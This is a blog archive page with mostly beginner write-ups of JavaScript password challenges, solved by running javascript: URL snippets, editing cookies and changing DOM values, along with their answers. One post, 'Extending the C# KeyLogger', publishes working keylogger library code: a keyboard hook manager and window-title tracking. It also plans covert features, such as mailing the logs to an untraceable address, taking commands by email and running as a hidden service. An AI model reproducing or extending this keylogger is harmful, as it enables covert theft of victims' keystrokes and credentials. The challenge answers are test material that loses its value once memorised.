Axino.net » Programming

JavaScript Challenge 15 :: nag a ram

Arxleol — Sun, 04 Jul 2010 01:10:22 +0000

This mission is interesting and a bit harder to solve, because we need to actually solve it and cannot use some simple way of outputting finished password.

Javascript actually generates password from riddle or even better anagram.



// Written by SlimTim10
// Hint: The answer may be more than one word and may contain spaces.
 
function checkpassword()
{
 
	password = document.password.password.value;
	var a = password.charAt(9)
	var c = password.charAt(4)
	var b = password.charAt(10)
	var d = password.charAt(7)
	var f = password.charAt(6)
	var e = password.charAt(1)
	var g = password.charAt(3)
	var i = password.charAt(0)
	var h = password.charAt(8)
	var j = password.charAt(13)
	var l = password.charAt(5)
	var k = password.charAt(6)
	var m = password.charAt(11)
	var o = password.charAt(12)
	var n = password.charAt(2)
	var riddle = "query test mess";
 
	if (a+""+b+""+c+""+d+""+e+""+f+""+g+""+h+""+i+""+j+""+k+""+l+""+m+""+n+""+o==riddle)
	{
		alert("Congratulations!");
	}
	else
	{
		alert("Wrong, but keep at it!");
	}
 
}

To solve it I used piece of paper. First I draw 14 boxes starting with zero till 13. Next step is to copy anagram: query test mess. And write below each letter, letters from a to o.

Now you need to fill boxes with letters let’s solve it for letter a.

Over letter A is letter Q and now we check javascript code: var a = password.charAt(9) so letter a should be in box 9 so fill the box 9 with q.

Simple or not. Here is interesting and surprising final answer: system requestSimilar Posts:

JavaScript Challenge 10 :: Math time

Arxleol — Sat, 03 Jul 2010 16:16:20 +0000

We will solve this challenge as we already used to solve some others. Simply by executing javascript in your browser and checking result.

So very first step is to find javascript that will be executed when password is entered.



 //By system_meltdown
 function checkpass()
 {
 pass=document.password.pass.value;
 rawr=unescape('%61%68%6f%79');
 string="llama llama duck!";
 a=string.charCodeAt(1);
 b=string.charCodeAt(7);
 c=string.charCodeAt(4);
 schloob=((60*50/3*a)-(b*c))/2/5+b;
 asdf=rawr+"_"+schloob;
 if(pass==asdf)
 {
 alert('Wahoo you got it!');
 }
 else
 {
 alert('Awww shame!');
 
 }
}

Now for executing we will take just the important part of code:



rawr=unescape('%61%68%6f%79');
 string="llama llama duck!";
 a=string.charCodeAt(1);
 b=string.charCodeAt(7);
 c=string.charCodeAt(4);
 schloob=((60*50/3*a)-(b*c))/2/5+b;
 asdf=rawr+"_"+schloob;

Executing script in your browser is easy. Just open new tab and in the URL bar enter following javascript code. Notice that I am alerting value of asdf variable.



javascript:rawr=unescape('%61%68%6f%79');string="llama llama duck!";a=string.charCodeAt(1);b=string.charCodeAt(7);c=string.charCodeAt(4);schloob=((60*50/3*a)-(b*c))/2/5+b;asdf=rawr+"_"+schloob; alert(asdf);

Now you should receive this password as result.

ahoy_9860.4

Similar Posts:

JavaScript Challenge 14 :: Simple answer

Arxleol — Thu, 10 Jun 2010 21:44:40 +0000

Sometimes the simplest answer is the correct one. Obvious when you examine this challenge you will find following javascript:



a = screen.width;
if(a != 800)
{
 alert('Sorry you do not have the right parameters!');
}else{
 window.location='/challenges/js/js14/index.php?ans=1e799d6ab6736c258580e7bc9feebacb'
}

Now you probably notice that you should have screen resolution of width 800 pixels. However, if you check else statement you will find new location and if you use it you will solve this challange.

So jump to this URL: index.php?ans=1e799d6ab6736c258580e7bc9feebacbSimilar Posts:

JavaScript Challenge 13 :: Cookie

Arxleol — Tue, 08 Jun 2010 22:28:17 +0000

We will solve this challenge with Firebug. Open challenge page in Firefox, and start Firebug. Now you probably see this sentence:

You are not authorized to view this page!

however, checking source code you will find that page is using cookie for authorization named authorized with value: false.

So if you are already in Firebug just open Cookies tab find cookie named authorized right click on it and select edit. Now just change false into true and reload page.Similar Posts:

JavaScript Challenge 12 :: execute

Arxleol — Tue, 08 Jun 2010 21:53:50 +0000

I know, when you opened this challenge you probably though again some math problem. But this one can be solved very easily.

Script that awaits you is long and it would be boring to analyze it. You already noticed that you cannot use javascript injection.



function checkpass()
{ 
 
 pass=document.password.pass.value;
 z=2;
 x=z*1.5;
 v=z*2;
 w=v*1.75;
 y=v*1.25;
 abc=(((y*v*y*x+z)*x+w)*z+y)*v+w; 
 
 if(pass==abc)
 {
  alert('Congratz! You are good at Math');
 }
 else
 {
  alert('Sorry, try again when you learn more Math!'); 
 
 } 
 
}

So what we want to do is to execute mathematical part and obtain answer. You can do this by opening new tab and executing following script that will output correct mathematical answer:



javascript:z=2;x=z*1.5;v=z*2;w=v*1.75;y=v*1.25;abc=(((y*v*y*x+z)*x+w)*z+y)*v+w;alert(abc);

You should get this answer in alert box: 7331Similar Posts:

JavaScript Challenge 11 :: js injection

Arxleol — Sun, 06 Jun 2010 20:14:46 +0000

This time we will use javascript injection once more.

Javascript code we are required to examine is following:



//By system_meltdown
var s = "Llama llama chicken duck, schloob mcfroob, moo asdf qwerty zxcv. Rawr llama kinasd, [insert random crap here]It's hammer on the keyboard time: sfsdfoashdfy78sdfysdfs67dftsdf 6tsdf76as tfa. Well I'm bored, so if you're still reading this I advise you to stop because you are wasting your time....dumbarse :)";
var asd = s.charCodeAt(14);
var fdsa = s.charCodeAt(42);
var sadfasf = s.charCodeAt(4);
var moo = s.charCodeAt(43);
var teeep = s.charCodeAt(32);
var asdf = asd+fdsa+sadfasf+moo+teeep;
function checkpass()
{
pass=document.password.pass.value;
if(pass==asdf)
{
alert('Well done dude!');
}
else
{
alert('You suck!');
}
}

Now instead of analyzing the code we will use once again javascript injection. You probably already noticed if statement in whish password is compared to asdf. What we will do is to output value of asdf and enter it as the password.

So next step is to write peace of javascript code in the URL bar in your browser and output variable asdf.



javascript:alert(asdf)

I obtained following value: 441Similar Posts:

JavaScript Challenge 9 :: timer

Arxleol — Wed, 02 Jun 2010 19:59:35 +0000

In this challenge we are faced with timer. As soon as you’ve seen this challenge you figured out you have to reset timer somehow.

Of course one probable solution would be to wait until timer reaches zero value.

But that defies the point. If you examine code you will find following script:



<script>
var c = 34200;
var p = "%68%6F%77%73%6C%69%66%65%3F%65%61%73%79%2E%00";
var a;
fc();
function fc()
{
if(c>0)
{
 document.getElementById("say").innerHTML = "Please wait " + c + ' seconds.';
 c = c - 1;
 setTimeout("fc()", 1000)
} else {
 a = unescape("%33");
 document.getElementById("say").innerHTML = "Your password is: " + unescape(p-a) + unescape("%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%27%69%6E%64%65%78%2E%70%68%70%27%20%6D%65%74%68%6F%64%3D%27%50%4F%53%54%27%3E%0D%0A%45%6E%74%65%72%20%50%61%73%73%77%6F%72%64%3A%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%27%74%65%78%74%27%20%6E%61%6D%65%3D%27%70%61%73%73%27%20%73%74%79%6C%65%3D%27%74%65%78%74%62%6F%78%27%3E%3C%62%72%3E%0D%0A%3C%69%6E%70%75%74%20%74%79%70%65%3D%27%73%75%62%6D%69%74%27%20%6E%61%6D%65%3D%27%73%75%62%6D%69%74%27%20%76%61%6C%75%65%3D%27%43%68%65%63%6B%20%79%6F%75%20%61%6E%73%77%65%72%27%20%73%74%79%6C%65%3D%27%62%75%74%74%6F%6E%27%3E%0D%0A%3C%2F%66%6F%72%6D%3E%00");
}
}
script>

This is where Firebug comes in really handy. Now open Firebug and select DOM tab in here you should search for variable c. Because variable c contains number of seconds till we receive our password. And now when you find variable c in DOM tab change its value to something low for example number 5. Now if you’ve done everything correctly you will notice that counters switched to 5 and is counting down. When it reaches 0 you will receive password:

Your password is: NaN

Similar Posts:

Extending the C# KeyLogger

praetorian — Wed, 02 Jun 2010 18:42:27 +0000

I decided to extend arxleols keylogger a little. I hope to add a few more features in the future but for now I’m happy with the current version.

The most significant changes are that I’ve ported it to C#4.0, moved all the important functionality into a separate assembly, made the whole thing more event driven and gave the logging a new flavour. Some of the ideas I’ve had is to host the lib in a Windows Service, let it “phone home” occassionally (via email, not network) and possibly self update.

I’ve successfully run this on a Windows Vista Home Basic x86 machine (Dell Inspiron 1525). So far looks like it works like a charm. I urge you to use this software for research or security purposes only.

Below are the changes I’ve made and a few of the features that I might add later on.

Change log:

Ported to C# 4.0. Doesn’t leverage any 4.0 specific features but does use 3.5 specific property accessors (so it won’t compile in C# 2.0).
Created a new assembly to hold all the important functionality and called it khsvclib (for Key Hook Service Library). This assembly should be referenced by apps wanting keylogging.
Removed hardcoding of file paths & put it in an app.config. This allows you to change the name of the actual logging file dynamically. It’s currently called Logs.krs by default but it could be called anything.
Created a new FileType enum to make referencing files in config easier.
Created a new Utilities helper class which (currently) returns either a file path or FileStream type based on the FileType passed to it.
Created a Reader type and supporting EventArgs/Delegate types which handles the reading of the keys from the Hook. The Reader has a few events which can be subscribed to. So far the only one that’s actually useful is the KeyPressed event.
Created a WindowTitleHelper and supporting EventArgs/Delegate types which check the title of the active window on each key press and will fire an ActiveWindowTitleChanged event if the window title has changed. This has the advantage that you can now group key strokes according to the window in which they were pressed (it ain’t any good logging something without knowing which page/app/window it was for).
Created a very basic “Logger” type which flushes out to a configured “FileType” path (from config).
Created a KeyLoggerManager which is basically a facade for the whole thing. It has 2 methods with no parameters – Start() and Stop().

Code:

Here’s some of the more interesting code in the assembly. For the complete code download the khsvclib project.

WindowTitleHelper

The WindowTitleHelper also uses PInvoke to import the user32.dll assembly. It has one public method – CheckActiveWindowTitle(). This compares what the window title was from the previous time the method was called to what the current active window title is. If the string differs, the ActiveWindowTitleChanged event is fired.

/* Credit to arxleol (www.axino.net) for the original keylogging
 * functionality.
 *
 * -- praetorian
 */
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
 
namespace khsvclib
{
    ///
    /// Helper class which checks the title of the current window
    /// and fires an event when it changes.
    ///
    public class WindowTitleHelper
    {
        #region imports
 
        [DllImport("user32.dll")]
        static extern IntPtr GetForegroundWindow();
 
        [DllImport("user32.dll")]
        static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
 
        #endregion 
 
        #region private fields
 
        private string currentWindowTitle;
 
        #endregion
 
        #region ctor
 
        public WindowTitleHelper()
        {
            currentWindowTitle = GetActiveWindowTitle();
        }
 
        #endregion
 
        #region methods 
 
        public void CheckActiveWindowTitle()
        {
            if (currentWindowTitle != GetActiveWindowTitle())
            {
                currentWindowTitle = GetActiveWindowTitle();
                OnActiveWindowTitleChanged(new WindowTitleHelperEventArgs(GetActiveWindowTitle()));
            }
        }
 
        private string GetActiveWindowTitle()
        {
            const int nChars = 256;
            IntPtr handle = IntPtr.Zero;
            StringBuilder Buff = new StringBuilder(nChars);
            handle = GetForegroundWindow();
 
            if (GetWindowText(handle, Buff, nChars) &gt; 0)
            {
                return Buff.ToString();
            }
            return null;
        } 
 
        #endregion
 
        #region events
 
        public event WindowTitleHelperEvent ActiveWindowTitleChanged;
 
        #endregion
 
        #region event handlers
 
        protected virtual void OnActiveWindowTitleChanged(WindowTitleHelperEventArgs e)
        {
            if (ActiveWindowTitleChanged != null)
            {
                ActiveWindowTitleChanged(this, e);
            }
        }
 
        #endregion
    }   
 
}

KeyLoggerManager
The KeyLoggerManager provides a simple facade to interacting with the Hook. It provides two public methods which take no parameters – Start() and Stop(). It also provides access to the Reader, WindowTitleHelper and Logger types as properties. The Hook isn’t provided here as:
a) it’s already a static class.
b) the facade that the KeyLoggerManager provides is to abstract the hook implementation away.

Using the KeyLogger manager in code is really simple:

KeyLoggerManager manager = new KeyLoggerManager(); manager.Start();

That’s it. That’s all you’d need. Everything else is pretty much configurable.

/* Credit to arxleol (www.axino.net) for the original keylogging
 * functionality.
 *
 * -- praetorian
 */
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
 
namespace khsvclib
{
    ///
    /// Facade class for KeyLogger.
    ///
    public class KeyLoggerManager
    {
        #region properties 
 
        public Reader Reader { get; private set; }
        public WindowTitleHelper WindowTitleHelper { get; private set; }
        public Logger Logger { get; private set; }
 
        #endregion
 
        #region ctor
 
        public KeyLoggerManager()
        {
            Reader = new Reader();
            Reader.KeyPressed += new ReaderEvent(Reader_KeyPressed);
 
            WindowTitleHelper = new WindowTitleHelper();
            WindowTitleHelper.ActiveWindowTitleChanged += new WindowTitleHelperEvent(WindowTitleHelper_ActiveWindowTitleChanged);
        }
 
        #endregion
 
        #region event handlers
 
        void Reader_KeyPressed(object sender, ReaderEventArgs e)
        {
            WindowTitleHelper.CheckActiveWindowTitle();
            Logger.Log(FileType.Logs, e.Log);
        }
 
        void WindowTitleHelper_ActiveWindowTitleChanged(object sender, WindowTitleHelperEventArgs e)
        {
            StringBuilder builder = new StringBuilder();
 
            builder.AppendFormat("{0}{0}", Environment.NewLine);
            builder.AppendFormat("-------------------------------------------{0}", Environment.NewLine);
            builder.AppendFormat("New window title: {0}{1}", e.ActiveWindowTitle, Environment.NewLine);
            builder.AppendFormat("-------------------------------------------{0}", Environment.NewLine);
            Logger.Log(FileType.Logs, builder.ToString());
        }
 
        #endregion
 
        #region methods
 
        public void Start()
        {
            Hook.CreateHook(Reader.Read);
            Logger.Log(FileType.Logs,
                string.Format("{1}{0}: Hook created.{1}", DateTime.Now, Environment.NewLine)
                );
        }
 
        public void Stop()
        {
            Logger.Log(FileType.Logs,
                string.Format("{1}{0}: Hook destroyed.{1}", DateTime.Now, Environment.NewLine)
                );
            Reader.KeyPressed -= Reader_KeyPressed;
            Hook.DestroyHook();
        }
 
        #endregion
 
    }
}

Future releases

These are a few of the changes that I’d like to make in future. If I actually get around to writing these I’ll post them here.

Improve Logger type to use a Factory/Strategy pattern. The idea being that you can have “raw” logs (which log everything) and “clean” logs which only log the keys as the text was displayed e.g. it would log “factory pattern” (clean log) instead of “facttorypattrern” (raw log).
Add a new type/facade to allow the logged files to be mailed to an untraceable address at a given time (or set of times) everyday.
Add a new type and expression syntax to allow the app to receive commands from email.
Add configurable triggers which will switch the logger on/off depending on the ActiveWindowTitle.

I hope you find these changes useful. Download assembly zip here.Similar Posts:

How to redirect site in php

Arxleol — Tue, 01 Jun 2010 21:22:44 +0000

Last day I needed to forward domain: swat2010.axino.net to my server.

And this can easily be done with the php.




 
header("Location: http://193.2.218.150:8080/SWAT2010/");
 
?>

Inside header you should put location to which you would like to forward user.Similar Posts:

JavaScript Challenge 7 :: Jump over

Arxleol — Sun, 30 May 2010 01:10:42 +0000

To solve 7th challenge we have to download file to our local machine. You can do this by right clicking on the link to challenge and then selecting Save link as…. When you save file to computer open it notepad or something similar.

Contents should be something similar to the following:



<script language="JavaScript">
 
  function password () {
 
    var s1, a2, v3, e4, input;
 
    s1=window.document.bgColor;
 
    a2=window.document.linkColor;
                                                                                                                                                                                                                                                               v3=s1.substring (6,9)+a2.substring (2,8);
                                                                                                                                                                                                                                                    e4=v3.toUpperCase ();
 
     input=prompt("Password:","");
 
    if (input!=v3 && input!=e4) {
 
      alert("Wrong!");
 
      window.location.href="../index.php";
 
    }
 
    else {
 
      window.location.href=v3+".php";
 
    }
 
  }
 
script>
 
head>
 
<body bgcolor="#D0D0D0" text="#FF9900" onLoad="password()" link="#FF9900">

Now since we have contents of the file we are able to see what this script exactly does and how does it actually compares entered value in prompt box. As you may notice there is some strange if statement which if it fails links us to the solution. And solution is link with contents of v3 variable with extension .php.

So its obvious we need to find contents of variable v3. Since we already have file on our computer, we will just add following line of code to output value of variable in alert box.



alert(v3);

You should add this code below following line:



e4=v3.toUpperCase ();

Now, just open save file in your browser and you should see this output: 0f9900

So it is easy to create URL for solution:

http://www.hellboundhackers.org/challenges/js/js7/0f9900.php

Similar Posts: